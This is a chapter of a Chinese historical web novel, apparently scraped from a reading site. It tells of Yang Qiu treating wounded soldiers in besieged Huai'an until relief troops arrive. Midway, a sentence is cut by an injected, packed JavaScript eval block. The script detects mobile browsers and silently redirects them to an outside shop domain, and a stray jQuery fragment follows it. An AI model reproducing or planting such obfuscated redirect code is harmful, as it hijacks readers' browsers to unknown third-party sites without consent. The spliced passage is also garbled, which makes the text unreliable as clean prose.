文趣网 > 都市小说 > 侯门金枝 > 130. 第 130 章
    “贼首伏诛,尔等还不速速投降?”杨湫沉声喝道。

    她将手中的弓箭交给荣姑姑,禁军和假的钦差卫队混战成一团,杨湫站在高处俯视,淮安知府走上来,拱手行礼。

    “杨司药。”淮安知府有条不紊地汇报到:“假卫队已经被捉拿,您看,是不是和康王殿下知会一声?”

    “后续诸事,还需知府大人操劳。”杨湫避而不谈,只淡淡地说道:“殿下被他们所害,记忆尚不明晰,还是不要打扰他静养。”

    淮安知府虽然心有疑虑,看在杨湫刚刚揭破假钦差卫队的,保住自己乌纱帽的面子上,还是听从了她的吩咐。

    “三小姐。”荣姑姑左顾右盼,确认周围没人,才压低声音说道:“殿下那里,到底怎么办?”

    杨湫沉吟片刻,仍是摇摇头:“他现在想不起来也是无济于事。我们还是静观其变吧。”

    “可是这——”荣姑姑的声音堵在嗓子里,戛然而止,最终化成一声叹息:“奴婢明白。”

    “姑姑放心,真作假时假亦真。”杨湫微不可查的叹了一口气:“江南起兵,淮安首当其冲,我们还有很多事情要做。”

    “光凭淮安驻军,以及咱们带来的禁军,外头只会更乱。”荣姑姑担忧地看着杨湫,提议道:“不如,咱们先撤回去?”

    “局势大变,更方便浑水摸鱼。”杨湫嘴角扬起一个淡淡的笑意。

    她望向京城的方向,有一场策划已久的异象,正在皇帝的案头落着。

    司天监监正杨鸢密奏皇帝,康王南下迎接祥瑞回京,北上时会有一场意想不到的劫难,出现的突然,且否极泰来,九死一生。

    皇帝顿时陷入两难,平心而论,赵瑾的安慰重要,江南的祥瑞同样重要。

    他还未拿出一个决策,淮安知府一封六百里加急送抵京城:杨湫发觉钦差卫队被逆贼替换,如今贼寇业已伏诛。

    积蓄在江南的风暴被打破,赵元真终于扯起了越王的大旗,广招越王旧部,共同推翻当今皇帝。

    野火燎原,江南已经成为了敌人的大本营,赵元真挥师北上,第一站直奔淮安。

    淮安府衙当中,每一个人都是神情凝重,淮安知府和参军正在商议守城事宜,长史带着其他官吏,准备将百姓撤入城中。

    对于一座安稳了很久的城池来说,打仗向来不是一件容易的事:人心惶惶,虽然淮安知府早早通知百姓前往其他州府避难,但惶恐还是蔓延在每一个角落。

    杨湫带着几名军医,正在计算各种药材储备。

    “这些仅仅够百姓日常所需,一旦打起来,这些止血的药材会供不应求。”

    一名军医叹了一口气,眉目间是止不住的忧心。

    “我们的目的是守城,坚守不出,等到朝廷援兵就好。”杨湫用力揉了揉眉心,仍然打起精神面对:“相信不日困局自解,我们也能放心。”

    淮安进入了全面备战的状态:城门关闭,做好了一切应对敌人的准备。

    越王军挥师北上的,来到淮安的第一日,便选择了围困城池,等到淮安弹尽粮绝,城中军民不得不的打开城门的那一日。

    几次小摩擦下来,受伤的士兵便大大增加,杨湫整日在军医所忙碌,饶是自己精通医术,也有些讶异。

    军医和寻常医者处理病患的手法截然不同,杨湫一面学习,一面快速地处理着这些伤患。

    “三小姐。”荣姑姑跟在她身边打下手,调配军医所内的其他人员,看着杨湫沉默却又坚决的面容,忍不住劝说道:“您要不要缓一缓?还有其他军医看着呢。您没见过血,这太——”

    说到这里,荣姑姑忍不住扼腕叹息起来:她亲眼见着许多受伤的士兵被人从城楼上抬下来,令人触目惊心。

    她自问在深宫里熬过这许多年,也没少见血,却不想打仗会这样惨烈。

    “没关系的,荣姑姑。”杨湫快速地将纱布绕在伤兵身上,止住了鲜血,才回答了荣姑姑的话:“我会医术,让我坐在府衙里,我不心安。”

    荣姑姑只能狠狠地叹了口气,帮着杨湫照料伤员去了。

    杨湫忙完最后一个伤兵,又被几名军医围住,商讨之后的对策。

    “止血的草药已经不够用了,还有一些预防瘟疫的,伤患增多,疫病流行在所难免。”

    “况且如今秋冬交际,易生风寒,长此以往,后果不堪设想啊!”

    军医们忧心忡忡,七嘴八舌的汇报状况,杨湫沉默不语,将他们拟定的方子来回看了好几遍。

    淮安城被围困数日,粮草和伤员积少成多,迟早会把这座城压垮。

    “这方子用来应急足够了,现在受困城中,一时之间也只能筹措到这么多。”杨湫眉头紧蹙,心里虽然着急,却不便露于人前。

    一定会有办法的,她在心里暗暗打气。

    朝廷的援军什么时候来,谁也没有确切的消息,只能守着这座城池,等到希望降临的那一刻。

    “尽人事而后听天命,诸位。”杨湫呼出一口气,眼神愈发坚定起来:“不管援军何时抵达,我们都要守住淮安。”

    越王大军在城下集结,似乎意识城内仅有三千守军,攻势越发猛烈,淮安守军坚守不退,依靠着城楼和护城河,发誓要坚守到最后一刻。

    城中还有他们的妻儿老小,淮安知府本想劝自己的夫人带着孩子们离开,却被她拒绝了。

    “危难当头,你是这里的父母官,不能弃城而逃,我也没有弃你而去的道理!”

    知府夫人说得慷慨凛然,转头就带着城中的女眷们,开始赶制军备。

    每一日的更漏都走的极其漫长,杨湫在军医所前后忙碌,照顾着越来越多的伤员。

    她在心底默默算着日子,快了,就快了。

    杨鸢的消息已然来到:援军明日到达,只要撑过这最后一晚,淮安危局化解,便真正能放心了。

    与此同时,江南别院之中。

    赵元真手边放着京城来的消息:朝廷援军,三日后到达淮安。

    想要拿下淮安,这就是最好的机会。

    月黑风高,杨湫回到驿馆,仍有一盏微光。她恍惚想起在河洛时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524910|203441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,自己和赵瑾的房中,总是亮着一盏灯光,等候另一个人归来。

    “你回来了?”赵瑾眉目之间似乎写满了对她的担忧:“听侍卫们说,你最近都在军医所?”

    “是啊。”杨湫轻叹一声,揉了揉眉心:“伤员太多,我去帮点力所能及的忙。

    赵瑾抿紧嘴唇,小声问道:“我们还要这样,守到什么时候?”

    “这,我也说不好——”杨湫迟疑了一瞬,随即安慰赵瑾道:“你也不用太担心,我总会送你全身而退的?”

    “那你呢?”赵瑾反问道:“就要留下来,和这里共存亡吗?”

    “现在说这个,为时尚早。”杨湫平静地道。

    赵瑾没应和她的话:“唇亡齿寒,你以为你能坚持多久?”

    杨湫笑着摇摇头,离开了房间:“事在人为。殿下,早些休息吧——”

    她的背影消失在回廊尽头,门扉合上,将一切声响隔绝在外,赵瑾深吸了一口气,取出了自己收到的纸条。

    朝廷援军三日后到达,他需要早做准备。

    月明星稀,老鸹发出凄厉的叫声,在淮安城上空盘旋,城楼上烽火不息,喊杀声震天。

    淮安驻军正在和越王军进行最后一场战斗,谁赢了,这座城池的归属就是谁。

    硝烟弥漫,遮盖了天地间所有颜色,杨湫站在军医所门前,仰望着高耸的城楼。

    “早知道会这样,小时候也该求着舅母教我一点功夫。”杨湫喃喃自语。

    荣姑姑站在她身边,哭笑不得地道:“三小姐,这都什么时候了,您还说这个。等打完了,咱们回京,奴婢就禀报皇后娘娘,让她给您请师傅,好不好?”

    杨湫笑着摇摇头:“有感而发罢了。”

    敌军跃入城墙,和死守城门的禁军缠斗成一团,杨湫稳下心神,似乎成竹在胸。

    一声响箭过后,天边炸开一朵烟花,东边的平原之上,忽然杀出一队人马,直奔越王大营。

    “众将士听令,直取大营!”

    高夫人再一次披挂上阵,依稀可见当年在北境弓马纵横的英气,她带着手下亲兵,骑在战马上,挥舞着长刀,杀向敌军。

    “三小姐!援军,是援军!”荣姑姑近乎喜极而泣,杨湫面上挂着微笑,眼眶早已通红。

    被侧方袭击打了一个措手不及,越王军立刻反应过来,整军后撤三里,准备重新攻打淮安。

    高夫人身着铠甲,身上还有几滴血迹,杨湫一路小跑,停在她面前,惊喜地扑过去:“舅母!”

    “哎,湫儿。舅母来了。”高夫人笑着接住她,随后心疼地叹了口气:“好姑娘,吓坏了吧?”

    杨湫用力摇了摇头,眼含泪光:“没有,我很好。舅母怎么来了?”

    “这不是听到越王那个老匹夫的部下造反了。”高夫人说得好像喝水一样轻松:“当年我能打败他一次,就不怕再来一次。”

    高夫人说话时,眉眼间神采飞扬,让杨湫又依稀看见了当年镇守北境的女将军的影子。

    是那位属于北境的团练使。